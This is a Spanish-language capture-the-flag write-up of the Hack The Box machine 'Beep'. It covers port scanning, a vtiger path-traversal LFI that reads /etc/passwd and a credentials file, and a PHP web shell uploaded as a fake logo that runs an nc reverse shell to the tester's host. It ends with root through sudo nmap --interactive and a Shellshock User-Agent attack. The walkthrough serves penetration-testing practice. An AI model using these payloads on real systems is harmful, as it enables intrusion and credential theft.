Volver atras HTB_Beep | Savinotes

HTB_Beep

Beep {-}

Introduccion {-}

La maquina del dia 27/08/2021 se Beep.

El replay del live se puede ver aqui

S4vitaar Beep maquina

No olvideis dejar un like al video y un commentario…

Enumeracion {-}

Reconocimiento de maquina, puertos abiertos y servicios {-}

Ping {-}

ping -c 1 10.10.10.7

ttl: 63 -> maquina Linux

Nmap {-}

nmap -p- --open -T5 -v -n 10.10.10.7

Va lento

nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.7 -oG allPorts
extractPorts allPorts
nmap -sC -sV -p22,25,80,110,111,143,443,878,993,995,3306,4190,4445,4559,5038,10000, 10.10.10.7 -oN targeted
PuertoServicioQue se nos occure?Que falta?
22sshConneccion directausuario y contraseña
25sshConneccion directausuario y contraseña
80httpWeb, Fuzzing
110pop3
111rpcbind
143imap
443httpsWeb, Fuzzing
878rpc
993ssl/imap
995pop3
3306mysql
4190sieve cyrus
4445upnotifyp
4559HylaFAX
5038asterisk
10000http miniserv

Analyzando la web {-}

Whatweb {-}

whatweb http://10.10.10.7

Es un Apache 2.2.3 sobre un CentOS y habla de redirection sobre el protocolo https.

Checkear la web {-}

Cuando nos connectamos por el puerto 80, se ve la redirection al puerto 443 y entramos directo en un panel de authentificacion

 elastix 

.

Si miramos el miniserv del puerto 10000 tambien vemos un panel de login.

En este caso buscamos por una vulnerabilidad associada a

 elastix 

Vulnerability Assessment {-}

Elastix {-}

searchsploit elastix

Aqui vemos una serie de exploits y un script escrito en perl nos llama la atencion, porque permite hacer un Local File Inclusion.

searchsploit -x 37637

Vemos que el exploit pasa por una url que usa path traversal.

/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action

En este caso el fichero

 /etc/amportal.conf 

lo miramos mas tarde y empezamos primero con enumerar informaciones de la maquina.

Le metemos en firefox la url siguiente: “https://10.10.10.7/vtigercrm/graph.php?current_language=../../../../../../../..//etc/passwd%00&module=Accounts&action” y podemos ver el fichero.

Vemos que hay multiples usuarios con una

 /bin/bash 

Usamos el LFI para enumerar la maquina

https://10.10.10.7/vtigercrm/graph.php?current_language=../../../../../../../..//etc/net/fib_trie%00&module=Accounts&action
https://10.10.10.7/vtigercrm/graph.php?current_language=../../../../../../../..//proc/net/tcp%00&module=Accounts&action

El fib_trie no nos muestra nada pero el tcp nos muestra los puertos internos que estan abiertos. Lo copiamos y lo pegamos en un fichero. Como los puertos estan representado de forma hexadecimal, tenemos que tratar la data.

cat data.txt | tr ':' ' ' | awk '{print $3}' | sort -u

python3
>>> 0x0016
22
>>> 0x0019
25
>>> 0x0050
80
...

En el caso de un LFI ficheros interessantes podrian tambien ser

 /proc/shed_debug 

y

 /proc/shedstat 

. En este caso no sirbe pero esta bien tenerlo en cuenta.

Si miramos el fichero del exploit “https://10.10.10.7/vtigercrm/graph.php?current_language=../../../../../../../..///etc/amportal.conf%00&module=Accounts&action” Vemos un fichero de configuracion con credenciales para una base de datos.

Si vamos por el panel de login y probamos usuarios, nos podemos connectar como el usuario admin.

Como tenemos contraseñas, intentamos connectarnos con el usuario admin pero no va. Intentamos como el usuario root y la misma contraseña y entramos en el panel de configuracion de webmin.

[ ! ] NOTAS: Tito S4vitar nos avanza que se puede ganar accesso al systema desde el dashboard de elastix y tambien del webmin pero aqui tiraremos de otras vias.

Vuln exploit & Gaining Access {-}

Ganando accesso desde el vtiger {-}

Si analyzamos la url

https://10.10.10.7/vtigercrm/graph.php?current_language=../../../../../../../..//etc/net/fib_trie%00&module=Accounts&action

, vemos una parte que seria

https://10.10.10.7/vtigercrm

. Si vamos en esta url hay otro panel de session.

Copiando una vez mas las credenciales del usuario admin, podemos entrar en el dashboard de vtiger CRM.

Aqui la idea para ganar accesso al systema, viene de una vulnerabilidad que pasa por cambiar el logo de la compania con un fichero de doble extension.

Si vamos a “Settings > Settings > Company Details > edit”, aqui vemos que podemos cargar un fichero

 .jpg 

para cambiar el logo de la empresa.

  1. Creamos un fichero con doble extension s4vishell.php.jpg

    <?php
        system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.15 443 >/tmp/f");
    ?>
  2. Nos ponemos en escucha por el puerto 443

    nc -nlvp 443
  3. Uploadeamos el fichero a la web y cuando le damos a save ya hemos ganado accesso al systema.

whoami
#Output
asterisk

Tratamiento de la TTY {-}

script /dev/null -c bash
^Z
stty raw -echo; fg
-> reset
-> xterm
export TERM=xterm
export SHELL=bash

stty -a

stty rows <rownb> columns <colnb>

Privilege Escalation {-}

Rootear la maquina {-}

sudo -l

Aqui vemos que tenemos derechos de ejecutar como el usuario root muchos binarios si proporcionar contraseña. Entre ellos

Aqui tiramos por el binario de nmap

nmap --version
#Output
4.11

sudo nmap --interactive
!sh
whoami
#Output
root

Ya estamos root y podemos leer las flags.

Otra forma de rootear la maquina {-}

Tambien podriamos rootear la maquina mediante un shellshock attack.

Si vamos a la url de login del puerto 10000

 https://10.10.10.7:10000/session_login.cgi 

, vemos que el fichero es un fichero con extension

 .cgi 

. Un shellshock attack pasa por burlar el user-agent de la peticion. Para esto utilizamos Burpsuite.

  1. Una vez interceptada la peticion a la url de login.cgi, cambiamos la cabezera del User-Agent de la siguiente forma:

Bee-shellshock-reverse-shell

  1. Nos ponemos en escucha por el puerto 443

    nc -nlvp 443
  2. En Burpsuite le damos a Forward

Y ganamos accesso al systema como el usuario root ;)